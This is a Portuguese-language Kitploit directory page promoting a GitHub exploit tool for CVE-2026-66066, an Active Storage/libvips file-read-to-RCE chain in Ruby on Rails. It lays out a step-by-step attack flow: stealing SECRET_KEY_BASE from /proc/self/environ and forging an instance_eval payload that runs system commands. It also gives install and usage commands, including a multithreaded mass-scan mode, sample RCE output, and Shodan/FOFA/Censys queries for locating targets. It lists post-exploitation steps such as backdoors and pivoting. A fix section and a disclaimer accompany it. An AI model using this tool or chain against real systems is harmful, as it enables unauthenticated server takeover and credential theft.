Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/shinthink/cve-2026-66066
ReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubshinthink/cve-2026-66066

CVE-2026-66066

CVE-2026-66066 — KindaRails2Shell: Rails Active Storage/libvips Arbitrary File Read → RCE. MATLAB/HDF5 dual-identity file → SECRET_KEY_BASE theft → forged variation. CVSS 9.5 | Rails < 8.1.3.1

Ver Repositório
1há 16 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
CVE-2026-66066 — CVE-2026-66066 — KindaRails2Shell: Rails Active Storage/libvips Arbitrary File Read → RCE. MATLAB/HDF5 dual-identity file → SECRET_KEY_BASE theft → forged variation. CVSS 9.5 | Rails < 8.1.3.1 | Kitploit

CVE-2026-66066 — KindaRails2Shell

Rails Active Storage/libvips Leitura Arbitrária de Arquivos → Roubo de SECRET_KEY_BASE → RCE


Visão Geral

CVE-2026-66066 é uma cadeia de severidade crítica (CVSS 9.5) de leitura arbitrária de arquivos sem autenticação para execução remota de código no Active Storage do Ruby on Rails, afetando Rails 7.2.0–7.2.3.1, 8.0.0–8.0.5 e 8.1.0–8.1.3 em sua configuração padrão.

A vulnerabilidade explora uma confusão de parser em quatro camadas entre Rails, libvips, libmatio e HDF5. Um arquivo especialmente criado com cabeçalho MATLAB 5.0 (satisfazendo o sniffer do libvips) e um contêiner HDF5 v7.3 (despachado pelo libmatio) contém um dataset externo apontando para um caminho de arquivo arbitrário no servidor. Quando o ActiveStorage processa esse arquivo como uma variante de imagem, os bytes do arquivo-alvo tornam-se pixels de imagem — permitindo leitura arbitrária de arquivos sem autenticação.

Uma vez que SECRET_KEY_BASE é recuperado de /proc/self/environ ou de arquivos de credenciais, o atacante deriva a chave de verificação do Active Storage e forja um JSON de variação assinado contendo instance_eval, alcançando execução remota de código.

Instalações afetadas: 500K+ aplicações Rails (padrão do Rails 7+: variant_processor = :vips) Descoberta por: Ethiack Research Team + RyotaK (GMO Flatt Security) + bl0rph, julho de 2026 Correção: Rails 7.2.3.2 / 8.0.5.1 / 8.1.3.1 (29 de julho de 2026)

Versões Afetadas

VersãoVulnerávelCorrigida
7.2.x7.2.0 – 7.2.3.17.2.3.2
8.0.x8.0.0 – 8.0.58.0.5.1
8.1.x8.1.0 – 8.1.38.1.3.1

Rails 6.x afetado somente se variant_processor = :vips foi habilitado manualmente.

Descoberta por: André Baptista, Bruno Mendes, Rafael Castilho (Ethiack); RyotaK (GMO Flatt Security); bl0rph PoC de referência: 0xsha/KindaRails2Shell Metasploit: exploit/multi/http/rails_activestorage_vips_rce


Mecanismo da Vulnerabilidade

Causa-raiz: Confusão de Parser em Quatro Camadas

O exploit encadeia duas discordâncias independentes de content-type entre quatro componentes:

root@kitploit:~
Layer 1: Rails      → trusts client-declared content_type (image/png)
                      No byte re-identification on direct upload blobs.
Layer 2: libvips    → trusts magic bytes "MATLAB 5.0" at offset 0–9
                      Routes the file to matload without verifying the full header.
Layer 3: libmatio   → trusts version word 0x0200 at offset 124–125
                      Dispatches to HDF5 reader; ignores the descriptive text mismatch.
Layer 4: HDF5       → trusts external(path, offset, length) dataset reference
                      H5Dread transparently opens and reads the external file.
                      
Result: arbitrary file bytes returned as PNG pixel data.

O Arquivo de Identidade Dupla

"Nenhum writer legítimo emite ambos MATLAB 5.0 no byte 0 e 0x0200 no byte 124."

Por Que Funciona

  1. content_type declarado pelo cliente — Blob#variable? confia na coluna do banco de dados preenchida no momento do upload direto. Nenhum byte é examinado.
  2. Autodetecção do libvips — Vips::Image.new_from_file itera sobre os loaders; o sniffer do matload verifica apenas 10 bytes.
  3. Despacho de versão do libmatio — Os bytes 124–125 determinam o parser; 0x0200 seleciona o backend HDF5 independentemente do texto descritivo.
  4. Datasets externos HDF5 — H5Pset_external permite que os bytes brutos de um dataset residam em um arquivo externo arbitrário. O libmatio chama H5Dread sem verificar H5Pget_external_count.
  5. Chaves de variação são independentes do blob — Uma chave de variação capturada assina apenas a transformação, não o ID do blob, tornando-as reutilizáveis em qualquer blob enviado.
  6. O transformer Vips não possui allowlist de métodos — Transformers::Vips herda validate_transformation da classe base, que apenas bloqueia combine_options. Nomes de métodos arbitrários passam direto para .

Fluxo de Ataque

root@kitploit:~
1. POST /rails/active_storage/direct_uploads
   blob[content_type]=image/png&blob[checksum]=<MD5_of_payload>
   → Rails persists blob with client-declared type, identified=false forever

2. PUT <storage_url>
   body=<MATLAB 5.0 + HDF5 external(/proc/self/environ) payload>
   → Payload uploaded, blob ready for processing

3. Harvest variation_key from any existing thumbnail on the app
   → og:image, HTML , API responses, Internet Archive

4. GET /rails/active_storage/representations/redirect/:signed_id/:variation_key/poc.png
   → ActiveStorage downloads blob, passes to libvips
   → libvips detects "MATLAB 5.0", routes to matload
   → libmatio sees 0x0200, opens HDF5 container
   → H5Dread resolves external(/proc/self/environ) → file bytes become pixels
   → PNG thumbnail returned to attacker

5. Decode PNG pixels → recover SECRET_KEY_BASE from environment

6. Derive verifier key: PBKDF2-HMAC-SHA256(SECRET_KEY_BASE, "ActiveStorage", 1000, 64)
   Forge signed variation: {"instance_eval" => "system('cmd > /tmp/out')"}
   Submit to representations route → RCE

Referências Verificadas do Código-Fonte


Instalação

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-66066.git
cd CVE-2026-66066
pip install requests

Uso

root@kitploit:~
# Full chain — file read → secret recovery → RCE
python cve_2026_66066.py -t rails-app.com

# Read a specific file
python cve_2026_66066.py -t rails-app.com --read /etc/passwd

# Provide SECRET_KEY_BASE directly (skip file read)
python cve_2026_66066.py -t rails-app.com --skb <secret> -c "id; hostname"

# Mass scan
python cve_2026_66066.py -f targets.txt -o rce.txt --threads 10

Argumentos

root@kitploit:~
  -t, --target       Single target URL
  -f, --file         Target list, one per line
  -c, --command      Shell command to execute (default: id)
  --read PATH        Read a specific file from the server
  --skb SECRET       Provide SECRET_KEY_BASE directly for RCE
  -o, --output       Save results to file
  --threads          Concurrent workers (default: 20)
  --timeout          HTTP request timeout in seconds
  --debug            Show every HTTP request
  -v, --verbose      Verbose output

Prova de Conceito

Alvo Único

root@kitploit:~
$ python cve_2026_66066.py -t rails-app.example.com
root@kitploit:~
  KindaRails2Shell | CVE-2026-66066 | CVSS 9.5

  Host          : rails-app.example.com
  Rails         : YES
  ActiveStorage : YES
  File Read     : YES
  SECRET_KEY    : a1b2c3d4...
  RCE           : YES

  RCE Output:
  uid=1000(rails) gid=1000(rails) groups=1000(rails)
  rails-prod-01

Somente Leitura de Arquivo

root@kitploit:~
$ python cve_2026_66066.py -t rails-app.com --read /proc/self/environ

FOFA / Shodan

root@kitploit:~
FOFA:   body="rails/active_storage" || header="X-Runtime"
Shodan: http.component:"Ruby on Rails" http.title:"Ruby on Rails"
Censys: services.http.response.headers.x_powered_by:"Phusion Passenger"

Impacto

A exploração bem-sucedida resulta em execução remota de código como o usuário do processo Rails:

  • Extrair SECRET_KEY_BASE → forjar cookies assinados, sessões e tokens do ActiveStorage
  • Descriptografar credentials.yml.enc → senhas de banco de dados, chaves de armazenamento em nuvem, tokens de APIs de terceiros
  • Acessar todos os dados da aplicação por meio do console do Rails usando sessões forjadas
  • Fazer pivot para serviços internos acessíveis a partir do host Rails
  • Implementar backdoors persistentes via cron, chaves SSH ou webshells no nível da aplicação

Nenhuma conta na aplicação é necessária — o endpoint de upload direto aceita solicitações não autenticadas por padrão.


A Correção (Rails 7.2.3.2 / 8.0.5.1 / 8.1.3.1)

A correção bloqueia loaders não confiáveis do libvips:

root@kitploit:~
# Active Storage initializer
Vips.block_untrusted = true
# or: VIPS_BLOCK_UNTRUSTED=1

Isso impede que matload, svgload, fitsload, niiload, radload e openslideload processem entradas não confiáveis. Atualize para Rails 7.2.3.2, 8.0.5.1 ou 8.1.3.1. Requer libvips >= 8.13 e ruby-vips >= 2.2.1.

Pós-correção: rotacione todos os segredos legíveis pelo processo Rails — SECRET_KEY_BASE, RAILS_MASTER_KEY, credenciais de banco de dados e chaves de armazenamento em nuvem.


Aviso Legal

SOMENTE PARA FINS EDUCACIONAIS E DE TESTE AUTORIZADO.

Não use contra sistemas sem permissão explícita do proprietário. Os autores não assumem responsabilidade por uso indevido.


Referências


Descoberto por Ethiack Research Team + RyotaK + bl0rph. Não afiliado ao Ruby on Rails.

Baixar ferramenta
BytesFinalidadeValor
0–9sniffer do libvipsMATLAB 5.0
10–123PaddingEspaços
124–125despachante do libmatio0x0200 (HDF5 v7.3)
126–127marcador de endianness0x4d49 (IM)
128–511userblock HDF5Padding
512+superblock HDF5Contêiner com dataset externo
Vips::Image.public_send
ArquivoFinalidade
activestorage/app/models/active_storage/blob.rbvariable? confia na coluna content_type
activestorage/app/models/active_storage/blob/representable.rbA rota de representação resolve blob + variação de forma independente
activestorage/app/models/active_storage/variation.rbdecode verifica a chave de variação; sem referência cruzada ao blob
image_processing/lib/image_processing/transformers/vips.rbSem allowlist de métodos — herda o comportamento da classe base
libvips/foreign/matload.cvips__mat_ismat analisa apenas os primeiros 10 bytes
RecursoLink
Aviso de Segurança do RailsGHSA-xr9x-r78c-5hrm
PoC de Referência (0xsha)KindaRails2Shell
Pesquisa Ethiackkindarails2shell
Rails Forensicsrails-forensics-CVE-2026-66066
Módulo Metasploitrapid7/metasploit-framework#21733
CWE-94Injeção de Código